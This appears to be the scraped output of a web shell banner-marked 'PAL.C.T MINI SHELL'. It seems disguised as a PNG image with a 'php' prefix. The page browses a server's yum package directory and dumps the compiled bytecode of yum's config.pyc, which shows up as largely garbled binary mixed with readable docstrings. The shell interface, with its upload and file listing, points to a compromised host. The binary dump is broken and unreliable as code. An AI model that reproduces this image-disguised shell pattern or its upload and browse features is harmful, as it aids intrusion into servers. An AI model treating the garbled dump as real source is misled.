php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/config.pyc

[c@s-dZeZddkZddkZddkZddkZddkZddkZddk	Z	ddk
lZlZy@ddk
lZddklZlZlZddklZWnej
o
eZnXep0ddklZlZlZddklZnddkZddkZddkZddklZlZeZeZd	e fd
YZ!dZ"de!fd
YZ#de!fdYZ$de#fdYZ%de!fdYZ&de&fdYZ'de!fdYZ(de!fdYZ)de!fdYZ*de!fdYZ+de+fdYZ,d e!fd!YZ-d"e-fd#YZ.d$e fd%YZ/d&e/fd'YZ0d(e0fd)YZ1d*e/fd+YZ2d,e/fd-YZ3d.Z4d/Z5d0d1Z6d2Z7d3Z8d4Z9dd5Z;dS(6s2
Configuration parser and default values for yum.
iN(tConfigPreProcessort
varReplace(t	INIConfig(tNoSectionErrort
NoOptionErrortParsingError(tRawConfigParser(tConfigParser(tget_uuidtread_in_items_from_dot_dirtOptioncBs\eZdZd	edZdZdZdZdZ	dZ
dZdZRS(
s
    This class handles a single Yum configuration file option. Create
    subclasses for each type of supported configuration option.
    
    Python descriptor foo (__get__ and __set__) is used to make option
    definition easy and consise.
    cCs:|it|_|o|i|}n||_dS(N(t_setattrnametFalsetinherittparsetdefault(tselfRt
parse_default((s./usr/lib/python2.6/site-packages/yum/config.pyt__init__:s

	cCsdt||_dS(smCalculate the internal attribute name used to store option state in
        configuration instances.
        s__opt%dN(tidt	_attrname(R((s./usr/lib/python2.6/site-packages/yum/config.pyRAscCs%|djo|St||idS(sCCalled when the option is read (via the descriptor protocol). 

        @param obj: The configuration instance to modify.
        @param objtype: The type of the config instance (not used).
        @return: The parsed option value or the default value if the value
            wasn't set in the configuration file.
        N(tNonetgetattrR(Rtobjtobjtype((s./usr/lib/python2.6/site-packages/yum/config.pyt__get__Gs	
cCsxt|toQy|i|}Wqatj
o+}td|i|t|fqaXnt||i|dS(sCalled when the option is set (via the descriptor protocol). 

        @param obj: The configuration instance to modify.
        @param value: The value to set the option to.
        @return: Nothing.
        sError parsing "%s = %r": %sN(t
isinstancet
basestringRt
ValueErrort_optnametstrtsetattrR(RRtvaluete((s./usr/lib/python2.6/site-packages/yum/config.pyt__set__UscCs,||_t||iti|idS(sInitialise the option for a config instance. 
        This must be called before the option can be set or retrieved. 

        @param obj: BaseConfig (or subclass) instance.
        @param name: Name of the option.
        N(RRRtcopyR(RRtname((s./usr/lib/python2.6/site-packages/yum/config.pytsetupfs	cCsti|}|i|S(s3Return a safe copy of this Option instance
        (R#R(Rtnew((s./usr/lib/python2.6/site-packages/yum/config.pytcloneps
cCs|S(sParse the string value to the Option's native value.

        @param s: Raw string value to parse.
        @return: Validated native value.
    
        Will raise ValueError if there was a problem parsing the string.
        Subclasses should override this.
        ((Rts((s./usr/lib/python2.6/site-packages/yum/config.pyRws	cCs
t|S(sConvert the Option's native value to a string value.

        @param value: Native option value.
        @return: String representation of input.

        This does the opposite of the parse() method above.
        Subclasses should override this.
        (R(RR ((s./usr/lib/python2.6/site-packages/yum/config.pyttostrings	N(
t__name__t
__module__t__doc__RRRRRR"R%R'RR)(((s./usr/lib/python2.6/site-packages/yum/config.pyR
1s				
		cCs|i}t|_|S(s]Clone an Option instance for the purposes of inheritance. The returned
    instance has all the same properties as the input Option and shares items
    such as the default value. Use this to avoid redefinition of reused
    options.

    @param option_obj: Option instance to inherit.
    @return: New Option instance inherited from the input.
    (R'tTrueR
(t
option_objt
new_option((s./usr/lib/python2.6/site-packages/yum/config.pytInherits		t
ListOptioncBs/eZdZdedZdZdZRS(s1
    An option containing a list of strings.
    cCs4|djo
g}ntt|i||dS(N(RtsuperR1R(RRR((s./usr/lib/python2.6/site-packages/yum/config.pyRs

cCs|idd}|idd}g}x]|iD]O}|ido,|idd}|it|q7n|i|q7W|S(sConverts a string from the config file to a workable list, parses
           globdir: paths as foo.d-style dirs

        Commas and spaces are used as separators for the list
        s
t t,sglob:t(treplacetsplitt
startswithtextendR	tappend(RR(tresultstitemtthisglob((s./usr/lib/python2.6/site-packages/yum/config.pyRs
cCs
di|S(Ns
 (tjoin(RR ((s./usr/lib/python2.6/site-packages/yum/config.pyR)sN(R*R+R,RRRRR)(((s./usr/lib/python2.6/site-packages/yum/config.pyR1s	t	UrlOptioncBs2eZdZdd	edZdZdZRS(
sN
    This option handles lists of URLs with validation of the URL scheme.
    thttptftptfilethttpscCs,tt|i|||_||_dS(N(R2R?Rtschemest
allow_none(RRRDRE((s./usr/lib/python2.6/site-packages/yum/config.pyRs	cCs|i}|idjo|iodStdnti|\}}}}}}||ijo td|i|fn|S(Nt_none_s"_none_" is not a valid valuesURL must be %s not "%s"(tstriptlowerRERturlparseRDt_schemelist(RturlR(tbtptqtfto((s./usr/lib/python2.6/site-packages/yum/config.pyRs
! cCsft|idjodSt|idjo|idSddi|id |idfSdS(s;Return a user friendly list of the allowed schemes
        itemptyis%s or %ss, iN(tlenRDR>(R((s./usr/lib/python2.6/site-packages/yum/config.pyRJs
N(R@RAsfileRC(R*R+R,RRRRRJ(((s./usr/lib/python2.6/site-packages/yum/config.pyR?s
	t
UrlListOptioncBs)eZdZddedZdZRS(	sN
    Option for handling lists of URLs with validation of the URL scheme.
    R@RARBRCcCs/tt|i||td||_dS(NRD(R2RSRR?t
_urloption(RRRDR((s./usr/lib/python2.6/site-packages/yum/config.pyRsc	Cs	g}|idd}|idd}g}ti|D]}||iddq>~}g}xW|D]O}|ido,|idd}|it|qmn|i|qmWxBtt|i	di
|D]}|i|ii	|qW|S(Ns
R3R4s%20sglob:R5(R6tshlexR7R8R9R	R:R2RSRR>RT(	RR(toutt_[1]R<titemsttmpR=RK((s./usr/lib/python2.6/site-packages/yum/config.pyRs 6"N(shttpsftpsfileshttps(R*R+R,RRRR(((s./usr/lib/python2.6/site-packages/yum/config.pyRSst	IntOptioncBs)eZdZddddZdZRS(s2
    An option representing an integer value.
    cCs,tt|i|||_||_dS(N(R2RZRt
_range_mint
_range_max(RRt	range_mint	range_max((s./usr/lib/python2.6/site-packages/yum/config.pyRs	cCsyt|}Wn'ttfj
o}tdnX|idj	o ||ijotdn|idj	o ||ijotdn|S(Nsinvalid integer valuesout of range integer value(tintRt	TypeErrorR\RR[(RR(tvalR!((s./usr/lib/python2.6/site-packages/yum/config.pyRs  N(R*R+R,RRR(((s./usr/lib/python2.6/site-packages/yum/config.pyRZstPositiveIntOptioncBs,eZdZdddddZdZRS(sg
    An option representing a positive integer value, where 0 can have a special
    represention.
    icCs)tt|i|||||_dS(N(R2RbRt_names0(RRR]R^t
names_of_0((s./usr/lib/python2.6/site-packages/yum/config.pyRscCs+||ijodStt|i|S(Ni(RcR2RbR(RR(((s./usr/lib/python2.6/site-packages/yum/config.pyR"sN(R*R+R,RRR(((s./usr/lib/python2.6/site-packages/yum/config.pyRbs	t
SecondsOptioncBs9eZdZhd
d6dd6dd6dd6ZdZRS(s
    An option representing an integer value of seconds, or a human readable
    variation specifying days, hours, minutes or seconds until something
    happens. Works like BytesOption.
    Note that due to historical president -1 means "never", so this accepts
    that and allows the word never too.

    Valid inputs: 100, 1.5m, 90s, 1.2d, 1d, 0xF, 0.1, -1, never
    Invalid inputs: -10, -0.1, 45.6Z, 1d6h, 1day, 1y

    Return value will always be an integer
    i<itdthtmiR(cCst|djotdn|djp
|djodS|dioN|d }|di}|ii|d}|ptd|qn
|}d}yt|}Wn'ttfj
o}tdnX|djotd	nt	||S(
Nisno value specifieds-1tneverisunknown unit '%s's
invalid valueis!seconds value may not be negative(
RRRtisalphaRHtMULTStgetRtfloatR`R_(RR(tntunittmultR!((s./usr/lib/python2.6/site-packages/yum/config.pyR7s&

iiQi(R*R+R,RkR(((s./usr/lib/python2.6/site-packages/yum/config.pyRe's
"t
BoolOptioncBs eZdZdZdZRS(sm
    An option representing a boolean value.

    The value can be one of 0, 1, yes, no, true, or false.
    cCs@|i}|djotS|d	jotStddS(
Nt0tnotfalset1tyesttruesinvalid boolean value(RrRsRt(RuRvRw(RHRR-R(RR(((s./usr/lib/python2.6/site-packages/yum/config.pyRYs

cCs|odSdSdS(NRuRr((RR ((s./usr/lib/python2.6/site-packages/yum/config.pyR)bs(R*R+R,RR)(((s./usr/lib/python2.6/site-packages/yum/config.pyRqQs		tFloatOptioncBseZdZdZRS(s7
    An option representing a numeric float value.
    cCs@yt|iSWn%ttfj
otdnXdS(Nsinvalid float value(RmRGRR`(RR(((s./usr/lib/python2.6/site-packages/yum/config.pyRls(R*R+R,R(((s./usr/lib/python2.6/site-packages/yum/config.pyRxhstSelectionOptioncBs)eZdZddhdZdZRS(sAHandles string values where only specific values are allowed
    cCs,tt|i|||_||_dS(N(R2RyRt_allowedt_mapper(RRtallowedtmapper((s./usr/lib/python2.6/site-packages/yum/config.pyRus	cCsI||ijo|i|}n||ijotd|n|S(Ns"%s" is not an allowed value(R{RzR(RR(((s./usr/lib/python2.6/site-packages/yum/config.pyRzs
N((R*R+R,RRR(((s./usr/lib/python2.6/site-packages/yum/config.pyRyrstCaselessSelectionOptioncBseZdZdZRS(s_ Mainly for compat. with BoolOption, works like SelectionOption but
        lowers input case. cCstt|i|iS(N(R2R~RRH(RR(((s./usr/lib/python2.6/site-packages/yum/config.pyRs(R*R+R,R(((s./usr/lib/python2.6/site-packages/yum/config.pyR~stBytesOptioncBs2eZdZhdd6dd6dd6ZdZRS(	s|
    An option representing a value in bytes.

    The value may be given in bytes, kilobytes, megabytes, or gigabytes.
    itkRhtgcCst|djotdn|dioN|d }|di}|ii|d}|ptd|qn
|}d}yt|}Wn#tj
otd|nX|djotdnt||S(	sParse a friendly bandwidth option to bytes

        The input should be a string containing a (possibly floating point)
        number followed by an optional single character unit. Valid units are
        'k', 'M', 'G'. Case is ignored.
       
        Valid inputs: 100, 123M, 45.6k, 12.4G, 100K, 786.3, 0
        Invalid inputs: -10, -0.1, 45.6L, 123Mb

        Return value will always be an integer

        1k = 1024 bytes.

        ValueError will be raised if the option couldn't be parsed.
        isno value specifiedisunknown unit '%s'scouldn't convert '%s' to numberisbytes value may not be negativeN(	RRRRjRHRkRlRRmR_(RR(RnRoRp((s./usr/lib/python2.6/site-packages/yum/config.pyRs"

iii@(R*R+R,RkR(((s./usr/lib/python2.6/site-packages/yum/config.pyRs
tThrottleOptioncBseZdZdZRS(sv
    An option representing a bandwidth throttle value. See
    ThrottleOption.parse for acceptable input values.
    cCst|djotdn|ddjos|d }yt|}Wn#tj
otd|nX|djp
|djotdn|d	Sti||Sd
S(sGet a throttle option. 

        Input may either be a percentage or a "friendly bandwidth value" as
        accepted by the BytesOption.

        Valid inputs: 100, 50%, 80.5%, 123M, 45.6k, 12.4G, 100K, 786.0, 0
        Invalid inputs: 100.1%, -4%, -500

        Return value will be a int if a bandwidth value was specified or a
        float if a percentage was given.

        ValueError will be raised if input couldn't be parsed.
        isno value specifiedit%scouldn't convert '%s' to numberiidspercentage is out of rangegY@N(RRRRmRR(RR(Rn((s./usr/lib/python2.6/site-packages/yum/config.pyRs
	(R*R+R,R(((s./usr/lib/python2.6/site-packages/yum/config.pyRst
BaseConfigcBseZdZdZdZddZedZe	eZdZ
e	e
Z
dZdZdddZ
dd	Zd
ZRS(
sk
    Base class for storing configuration definitions. Subclass when creating
    your own definitons.
    cCsCd|_x3|iD]%}|i|}|i||qWdS(N(Rt_sectiontiterkeyst	optionobjR%(RR$toption((s./usr/lib/python2.6/site-packages/yum/config.pyRs
	
cCs[g}|id|ix1|iD]#\}}|id||fq'Wdi|S(Ns[%s]s%s: %rs
(R:Rt	iteritemsR>(RRVR$R ((s./usr/lib/python2.6/site-packages/yum/config.pyt__str__s
cCs||_||_|i|ot|i|}n
t}x|iD]}|i|}d}||jo|i||}n%|o|i	ot
||}n|dj	ot|||qQqQWdS(s$Set option values from a INI file section.

        @param parser: ConfParser instance (or subclass)
        @param section: INI file section to read use.
        @param parent: Optional parent BaseConfig (or subclass) instance to use
            when doing option value inheritance.
        N(tcfgRthas_sectiontsettoptionsRRRRlR
RR(RtparsertsectiontparenttoptsR$RR ((s./usr/lib/python2.6/site-packages/yum/config.pytpopulates			


cCs@t||d}t|to|S|o
tndSdS(s6Return the Option instance for the given name
        N(RRRR
tKeyError(tclsR$t
exceptionsR((s./usr/lib/python2.6/site-packages/yum/config.pyRs
cCs|i|dtdj	S(sBReturn True if the given name refers to a defined option 
        RN(RRR(RR$((s./usr/lib/python2.6/site-packages/yum/config.pytisoptionsccs4x-t|D]}|i|o	|Vq
q
WdS(s@Yield the names of all defined options in the instance.
        N(tdirR(RR$((s./usr/lib/python2.6/site-packages/yum/config.pyR#s
ccs/x(|iD]}|t||fVq
WdS(sYield (name, value) pairs for every option in the instance.

        The value returned is the parsed, validated option value.
        N(RR(RR$((s./usr/lib/python2.6/site-packages/yum/config.pyR*s
cCs|djo-|idjotdn|i}n|ii|}x|iD]u\}}|i|}|djp*||jp|i|jp
||jo#|ii|||i	|qYqYW|ii
|dS(sWrite out the configuration to a file-like object

        @param fileobj: File-like object to write to
        @param section: Section name to use. If not-specified the section name
            used during parsing will be used.
        @param always: A sequence of option names to always write out.
            Options not listed here will only be written out if they are at
            non-default values. Set to None to dump out all options.
        s!not populated, don't know sectionN(RRRRRRRRRR)twrite(RtfileobjRtalwayst
cfgOptionsR$R R((s./usr/lib/python2.6/site-packages/yum/config.pyR3s


7'cCs2tidtt||ot||S|S(NsxgetConfigOption() will go away in a future version of Yum.
Please access option values as attributes or using getattr().(twarningstwarntDeprecationWarningthasattrR(RRR((s./usr/lib/python2.6/site-packages/yum/config.pytgetConfigOptionLs
	cCsHtidtt||ot|||ntid|dS(NsusetConfigOption() will go away in a future version of Yum.
Please set option values as attributes or using setattr().sNo such option %s(RRRRRtErrorstConfigError(RRR ((s./usr/lib/python2.6/site-packages/yum/config.pytsetConfigOptionTs
	N((R*R+R,RRRRR-RtclassmethodRRRRRR(((s./usr/lib/python2.6/site-packages/yum/config.pyRs		
				tStartupConfcBseZdZedddZedddZedZedZedZ	e
eZe
ddgZe
d	gZe
eZeZed
ZedZedZRS(
s
    Configuration option definitions for yum.conf's [main] section that are
    required early in the initialisation process or before the other [main]
    options can be parsed. 
    iii
sredhat-releaset/s/etc/yum/yum.confs/usr/share/yum-pluginss/usr/lib/yum-pluginss/etc/yum/pluginconf.dtLOG_USERs/dev/logs/var/lib/yum(R*R+R,RZt
debuglevelt
errorlevelR
tdistroverpkgtinstallroottconfig_file_pathRqRtpluginsR1t
pluginpathtpluginconfpatht
gaftonmodetsyslog_identtsyslog_facilityt
syslog_devicet
persistdir(((s./usr/lib/python2.6/site-packages/yum/config.pyR]s	tYumConfc
BseZdZedddgZedddZeeZ	e
dZeeZe
dZ
ed	d
gZeZeZe
dZeded
dMdeZe
Ze
Ze
Ze
ZeddddddddddddgZeddddd d!gZeddddd"ddgZegZeZeeZeeZ eeZ!eeZ"eeZ#eeZ$eeZ%eeZ&ee'Z(ee)Z*ee'Z+eeZ,eeZ-eeZ.eeZ/eeZ0eeZ1ed#dgZ2e3d$Z4e5dZ6e7dZ8eeZ9e:d%dNZ;e<dPZ=e<dRZ>eeZ?eZ@eeZAeeZBed+gZCe:d,dSZDe
d-ZEe:d.dTd1h
d0d26d0d36d0d46d0d56d/d66d/d76d/d 6d/d86d.d96d.d:6ZFe
d;ZGe
d<ZHe
d=ZIe
d>ZJe
d?ZKe
d@ZLe
dAZMe
d=ZNe
d=ZOe
d;ZPe
d=ZQe
d;ZRe
ZSeeZTe
ZUe
ZVeeZWeeZXedBdCgZYe
dDZZedEdFeZ[eeZ\eeZ]eeZ^eeZ_eeZ`e:dGdUd1hdIdJ6dGd6ZaedKddgZbeeZcgZddLZeRS(Vs
    Configuration option definitions for yum.conf's [main] section.

    Note: see also options inherited from StartupConf
    i
Rds	<forever>iR]is/var/cache/yums/var/log/yum.logs/etc/yum/repos.ds/etc/yum.repos.dtpriorityRRDR@RARCREtkernels
kernel-bigmemsinstallonlypkg(kernel-module)sinstallonlypkg(vm)skernel-enterprises
kernel-smpskernel-debugskernel-unsupporteds
kernel-sourceskernel-devels
kernel-PAEskernel-PAE-debugiiRrs<off>skernel-BOOTt	mandatoryg>@talltnonetpackagesi<iis
group:primarytbestsbhttps://bugzilla.redhat.com/enter_bug.cgi?product=Red%20Hat%20Enterprise%20Linux%206&component=yumtautoRiRR}tonRvRuRwtoffRsRttttysif-ttytboldsbold,yellowtnormalsbold,reds	bold,bluesdim,cyansbold,underline,greentyumtrpmtinfos%yum, glob:/etc/yum/protected.d/*.confRtusersssingle-user-commandstcommandstcmdsidcCsd}d}xt|D]}|id
oqn||joqntt||tioqnt||}|o/t|tttdfjo
d}nt|tijod
i	|}n|d||f}qW|S(Ns[main]
Rtuidtyumvartprogress_objtfailure_objtdisable_excludestconfig_file_ageRt_iR5s,
   s%s = %s
(scfgsuidsyumvarRRsdisable_excludessconfig_file_agesconfig_file_path(
RR8RRttypest
MethodTypettypeRtListTypeR>(Rtoutputt
excluded_varstattrtres((s./usr/lib/python2.6/site-packages/yum/config.pytdumps$

-
(shttpsftpshttps(RRsallii`TiiQ(Rsall(Rsneversalways(ssingle-user-commandsRscommands(fR*R+R,RbtretriesRZtrecentRqR-t
reset_niceR
tcachedirt	keepcachetlogfileR1treposdirRtexcludetfailovermethodR?Rtproxytproxy_usernametproxy_passwordtusernametpasswordtinstallonlypkgstinstallonly_limittkernelpkgnamest
exactarchlistttsflagst	assumeyestassumenotalwayspromptt	exactarchttoleranttdiskspacechecktoverwrite_groupst	keepalivet__pkgs_gpgcheck_default__tgpgcheckt__repo_gpgcheck_default__t
repo_gpgchecktlocalpkg_gpgcheckt	obsoletestshowdupesfromrepostenabledtenablegroupstenable_group_conditionalstgroupremove_leaf_onlytgroup_package_typesRxttimeoutRt	bandwidthRtthrottletftp_disable_epsvRythttp_cachingRetmetadata_expiretmirrorlist_expiretrpm_check_debugRtquery_install_excludestskip_brokentmdpolicytmultilib_policytbugtracker_urltcolortcolor_list_installed_oldertcolor_list_installed_newertcolor_list_installed_reinstalltcolor_list_installed_extratcolor_list_available_upgradetcolor_list_available_downgradetcolor_list_available_reinstalltcolor_list_available_installtcolor_update_installedtcolor_update_localtcolor_update_remotetcolor_search_matcht	sslcacertt	sslverifyt
sslclientcerttsslclientkeytssl_check_cert_permissionsthistory_recordthistory_record_packagestrpmverbositytprotected_packagestprotected_multilibtexit_on_locktloadts_ignoremissingtloadts_ignorerpmtclean_requirements_on_removethistory_list_viewtdepsolve_loop_limittrecheck_installed_requirest
_reposlistR(((s./usr/lib/python2.6/site-packages/yum/config.pyRss															

tRepoConfcBseZdZeZdZeZee	i
Z
eZe
Ze
ZeZeZeZeZeZee	iZee	iZee	iZee	iZee	iZee	iZee	iZee	iZee	iZee	iZee	i Z ee	i!Z!ee	i"Z"ee	i#Z#ee	i$Z$ee	i%Z%ee	i&Z&ee	i'Z'e(dZ)ee	i*Z*ee	i+Z+ee	i,Z,ee	i-Z-ee	i.Z.ee	i/Z/e0e1Z2RS(s>
    Option definitions for repository INI file sections.
    ccsj|i}t|tp
t}n|p |itti|nx|iD]}|VqWWdS(s@Yield the names of all defined options in the instance.
        N(t_RepoConf__cached_keysRR-RtupdatetlistRR(RtckR$((s./usr/lib/python2.6/site-packages/yum/config.pyRs	
 
i(3R*R+R,RR.RR
R$R0RRRStbaseurlR?t
mirrorlisttmetalinktmediaidtgpgkeytgpgcakeyR1RtincludepkgsRRRRRRRRRRRRRRRRRRRZtcostRRRRRRRqRtskip_if_unavailable(((s./usr/lib/python2.6/site-packages/yum/config.pyR-sN											tVersionGroupConfcBseZeZeeZRS((R*R+R1tpkglistRqRtrun_with_packages(((s./usr/lib/python2.6/site-packages/yum/config.pyR;Ts	c	Cs|ti_t}||_t}t|}t}||_||_y|i	|Wn(t
j
o}tid|nX|i
|dx5|iD]*}|ddjptidqqW||_t|i|i|_d|i|if}t||_|S(s
    Parse Yum's main configuration file and return a StartupConf instance.
    
    This is required in order to access configuration settings required as Yum
    starts up.

    @param configfile: The path to yum.conf.
    @param root: The base path to use for installation (typically '/')
    @return: A StartupConf instance.

    May raise Errors.ConfigError if a problem is detected with while parsing.
    sParsing file failed: %stmainiRs(All plugin search paths must be absolutes
%s/%s/uuid(RRRRRRt
_getEnvVart_varstyumvarstreadfpRRRRRt_parsert
_getsysverRt
releaseverRRtuuid(	t
configfiletroottstartupconfRt
confpp_objRAR!tpathtuuidfile((s./usr/lib/python2.6/site-packages/yum/config.pytreadStartupConfigYs,						
	cs|i|id<|id<|id<|id<t}|i|idfd}y |id}t	i
|}Wntj
o
g}nXx|D]}t	ii
||oqny@t||i}|o|dd	jo|d }nWnttfj
o
qnX||<qWxdD]}|||qCW|_d
|_d
|_d|_|i|_t	ii|iot	i|id|_n
d
|_|i|_|i|_|S(s
    Parse Yum's main configuration file

    @param startupconf: StartupConf instance as returned by readStartupConfig()
    @return: Populated YumConf instance.
    tbasearchtarchRERFR>csQt||}|i|}|idd}t|}t|||dS(Ns//R(RRR6RR(tyumconfRRKtir_path(RA(s./usr/lib/python2.6/site-packages/yum/config.pyt_apply_installroots

s/etc/yum/vars/is
RRRii(scachedirslogfiles
persistdirN(RARNRORERFRRRCRtostlistdirtOSErrorRKtislinktopentreadlinetIOErrorRRtcacheRtprogess_objRtexistststatRRR(RIRPRRt
dir_fsvarstfsvarstfsvarRaR((RAs./usr/lib/python2.6/site-packages/yum/config.pytreadMainConfigsL	



		
					s/etc/yum/version-groups.confcCst}t|}y|i|Wn(tj
o}tid|nXh}x5|iD]'}t||<||i||qdW|S(NsParsing file failed: %s(	RRRBRRRtsectionsR;R(RGRRJR!tretR((s./usr/lib/python2.6/site-packages/yum/config.pytreadVersionGroupsConfigs	

cCsCy|i||}Wnttfj
o|iSX|i|S(sConvenience function to retrieve a parsed and converted value from a
    ConfigParser.

    @param conf: ConfigParser instance or similar
    @param section: Section name
    @param name: Option name
    @param option: Option instance to use for conversion.
    @return: The parsed value or default if value was not present.

    Will raise ValueError if the option could not be parsed.
    (RlRRRR(tconfRR$RRa((s./usr/lib/python2.6/site-packages/yum/config.pyt	getOptions
	cCs^h}xQtddD]@}d|}tii|d}|o|||i<qqW|S(sReturn variable replacements from the environment variables YUM0 to YUM9

    The result is intended to be used with parser.varReplace()
    ii
sYUM%dR5(trangeRStenvironRlRH(RtnumtenvRa((s./usr/lib/python2.6/site-packages/yum/config.pyR?s
cCsAtiid|}|ititiBy|id|}Wntj
o}t	i
djoMt|do ti
dt|iqti
dt|nti
dt|n2tij
o"}ti
dt|nX|idjo
d}n|i}|d}~~~|S(	sCalculate the release version for the system.

    @param installroot: The value of the installroot option.
    @param distroverpkg: The value of the distroverpkg option.
    @return: The release version as a string (eg. '4' for FC4)
    RHtprovidesitmessagesError: is$releasevertversion(trpmUtilsttransactiontinitReadOnlyTransactiontpushVSFlagsRt_RPMVSF_NOSIGNATURESt_RPMVSF_NODIGESTStdbMatchR`tsyst
hexversionRRtYumBaseErrorRRlterrortcounttnext(RRttstidxR!REthdr((s./usr/lib/python2.6/site-packages/yum/config.pyRDs( 

c
CsKtpdStt|i}|i}|i|ijoDxA|iiD],}t||i|ijo
|}qMqMWn|i	i
|i}x|iD]q\}}|i|}|i
|jp
||jo9|djp
||jo|i||||<qqqWt|id}	|	it||	idS(s
    Writes changes in a repo object back to a .repo file.
    @param repo: Repo Object
    @param only: List of attributes to work on (None = All)
    It work by reading the repo file, changes the values there shall be changed and write it back to disk.
    Ntw(t
_use_iniparseRRWtrepofileRt	_sectionstkeysRRRRRRRRR)RBRRtclose(
trepotonlytinit
section_idtsectRR$R Rtfp((s./usr/lib/python2.6/site-packages/yum/config.pytwriteRawRepoFiles&	
#(<R,R-RRSRuRRR#RIRURRRtiniparseRtiniparse.compatRRRRRtImportErrorRtrpmUtils.transactionRnRRtmiscRR	RRtobjectR
R0R1R?RSRZRbReRqRxRyR~RRRRRR-R;RMRaRdRfR?RDRR(((s./usr/lib/python2.6/site-packages/yum/config.pyt<module>sd\	
"&*
5$|?	-	H		
	#
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`